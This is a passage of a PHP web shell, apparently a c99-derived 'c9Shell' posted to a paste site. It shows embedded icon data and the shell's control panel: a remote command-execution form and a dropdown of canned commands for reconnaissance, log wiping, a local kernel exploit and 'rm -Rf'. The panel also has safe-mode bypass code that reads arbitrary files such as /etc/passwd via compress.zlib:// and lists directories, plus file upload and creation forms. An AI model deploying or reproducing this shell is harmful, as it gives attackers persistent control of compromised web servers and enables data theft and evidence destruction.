  7269. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  7270. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  7271. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  7272. "ADs=",
  7273. "ext_jpg"=>
  7274. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  7275. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  7276. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  7277. "FxEAOw==",
  7278. "ext_js"=>
  7279. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  7280. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  7281. "a00AjYYBbc/o9HjNniUAADs=",
  7282. "ext_lnk"=>
  7283. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  7284. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  7285. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  7286. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  7287. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  7288. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7289. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7290. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  7291. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  7292. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  7293. "ADs=",
  7294. "ext_log"=>
  7295. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  7296. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  7297. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  7298. "ext_php"=>
  7299. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  7300. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  7301. "ext_pl"=>
  7302. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  7303. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  7304. "ext_swf"=>
  7305. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  7306. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  7307. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  7308. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  7309. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  7310. "ext_tar"=>
  7311. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  7312. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  7313. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  7314. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  7315. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7316. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7317. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7318. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  7319. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  7320. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  7321. "u4tLAgEAOw==",
  7322. "ext_txt"=>
  7323. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  7324. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  7325. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  7326. "ext_wri"=>
  7327. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  7328. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  7329. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  7330. "ext_xml"=>
  7331. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  7332. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7333. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  7334. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  7335. "IQA7"
  7336.  );
  7337.  //For simple size- and speed-optimization.
  7338.  $imgequals = array(
  7339.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  7340.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  7341.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  7342.   "ext_html"=>array("ext_html","ext_htm"),
  7343.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  7344.   "ext_lnk"=>array("ext_lnk","ext_url"),
  7345.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  7346.   "ext_doc"=>array("ext_doc","ext_dot"),
  7347.   "ext_js"=>array("ext_js","ext_vbs"),
  7348.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  7349.   "ext_wri"=>array("ext_wri","ext_rtf"),
  7350.   "ext_swf"=>array("ext_swf","ext_fla"),
  7351.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  7352.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  7353.  );
  7354.  if (!$getall)
  7355.  {
  7356.   header("Content-type: image/gif");
  7357.   header("Cache-control: public");
  7358.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  7359.   header("Cache-control: max-age=".(60*60*24*7));
  7360.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  7361.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  7362.   if (empty($images[$img])) {$img = "small_unk";}
  7363.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  7364.   echo base64_decode($images[$img]);
  7365.  }
  7366.  else
  7367.  {
  7368.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  7369.   natsort($images);
  7370.   $k = array_keys($images);
  7371.   echo  "<center>";
  7372.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  7373.   echo "</center>";
  7374.  }
  7375.  exit;
  7376. }
  7377. if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[ccam].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>";}
  7378. ?>
  7379. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  7380. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
  7381. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  7382. <br>
  7383. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  7384. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr>
  7385. <tr>
  7386.   <td width="50%" height="83" valign="top"><center>
  7387.     <div align="center">Useful Commands
  7388.     </div>
  7389.     <form action="<?php echo $surl; ?>">
  7390.       <div align="center">
  7391.         <input type=hidden name=act value="cmd">
  7392.         <input type=hidden name="d" value="<?php echo $dispd; ?>">
  7393.           <SELECT NAME="cmd">
  7394.             <OPTION VALUE="uname -a">Kernel version
  7395.               <OPTION VALUE="w">Logged in users
  7396.                 <OPTION VALUE="lastlog">Last to connect
  7397.                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  7398.                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  7399.                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  7400.                     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  7401.                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  7402.                     <OPTION VALUE="netstat -atup | grep IST">Open ports
  7403.                     <OPTION VALUE="locate gcc">gcc installed?
  7404.                     <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  7405.                    
  7406.                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  7407.                     <OPTION VALUE="./zap2">WIPELOGS PT3
  7408.                    
  7409.                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
  7410.                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
  7411.                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
  7412.                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
  7413.                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
  7414.                   </SELECT>
  7415.         <input type=hidden name="cmd_txt" value="1">
  7416.         &nbsp;
  7417.         <input type=submit name=submit value="Execute">
  7418.           <br>
  7419.         Warning. Kernel may be alerted using higher levels </div>
  7420.     </form>
  7421.     </td>
  7422.   <td width="50%" height="83" valign="top"><center>
  7423.    <center>Kernel Info: <form name="form1" method="get" action="http://google.com/search">
  7424.       <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>">
  7425.       <input type="hidden" name="client" value="firefox-a">
  7426.       <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  7427.       <input type="hidden" name="hl" value="en">
  7428.       <input type="hidden" name="hs" value="b7p">
  7429.       <input type=submit name="btnG" VALUE="Search">
  7430.     </form></center>
  7431.     </td>
  7432. </tr></TABLE><br>
  7433. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  7434. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr>
  7435. <tr>
  7436.   <td width="50%" height="83" valign="top"><center>
  7437.     <div align="center">Php Safe-Mode Bypass (Read Files)
  7438.     </div><br>
  7439.     <form action="<?php echo $surl; ?>">
  7440.    
  7441.       <div align="center">
  7442.       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
  7443.      
  7444.      
  7445.      
  7446.            
  7447.      
  7448.      
  7449.       <?php
  7450.      
  7451.       function rsg_read()
  7452.     {  
  7453.     $test="";
  7454.     $temp=tempnam($test, "cx");
  7455.     $file=$_GET['file'];   
  7456.     $get=htmlspecialchars($file);
  7457.     echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
  7458.     if(copy("compress.zlib://".$file, $temp)){
  7459.     $fichier = fopen($temp, "r");
  7460.     $action = fread($fichier, filesize($temp));
  7461.     fclose($fichier);
  7462.     $source=htmlspecialchars($action);
  7463.     echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
  7464.     unlink($temp);
  7465.     } else {
  7466.     die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  7467.     <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
  7468.     access.</CENTER></FONT>");
  7469.             }
  7470.     echo "</div>";
  7471.     }
  7472.    
  7473.     if(isset($_GET['file']))
  7474. {
  7475. rsg_read();
  7476. }
  7477.    
  7478.     ?>
  7479.    
  7480.     <?php
  7481.    
  7482.     function rsg_glob()
  7483. {
  7484. $chemin=$_GET['directory'];
  7485. $files = glob("$chemin*");
  7486. echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
  7487. foreach ($files as $filename) {
  7488.     echo "<pre>";
  7489.    echo "$filename\n";
  7490.    echo "</pre>";
  7491. }
  7492. }
  7493.  
  7494. if(isset($_GET['directory']))
  7495. {
  7496. rsg_glob();
  7497. }
  7498.  
  7499. ?>
  7500.  
  7501.           <br>
  7502.       </div>
  7503.     </form>
  7504.     </td>
  7505.   <td width="50%" height="83" valign="top"><center>
  7506.    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>">
  7507.       <div align="center"><br>
  7508.       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
  7509.  
  7510.     </form></center>
  7511.     </td>
  7512. </tr></TABLE><br>
  7513. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  7514. <tr>
  7515.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  7516.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  7517. </tr>
  7518. </table>
  7519. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  7520. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  7521. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c9Shell v. <?php echo $shver; ?> Modded by <a href="http://weblazer.blade83.de/"><font color="#FF0000">Blade83</font></a> &amp; <a href="https://www.facebook.com/inj3ct0rs"><font color="#FF0000">r00t3r</font></a> | <font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  7522. </body></html><?php chdir($lastdir); c999shexit(); } ?>
Add Comment
Please, Sign In to add comment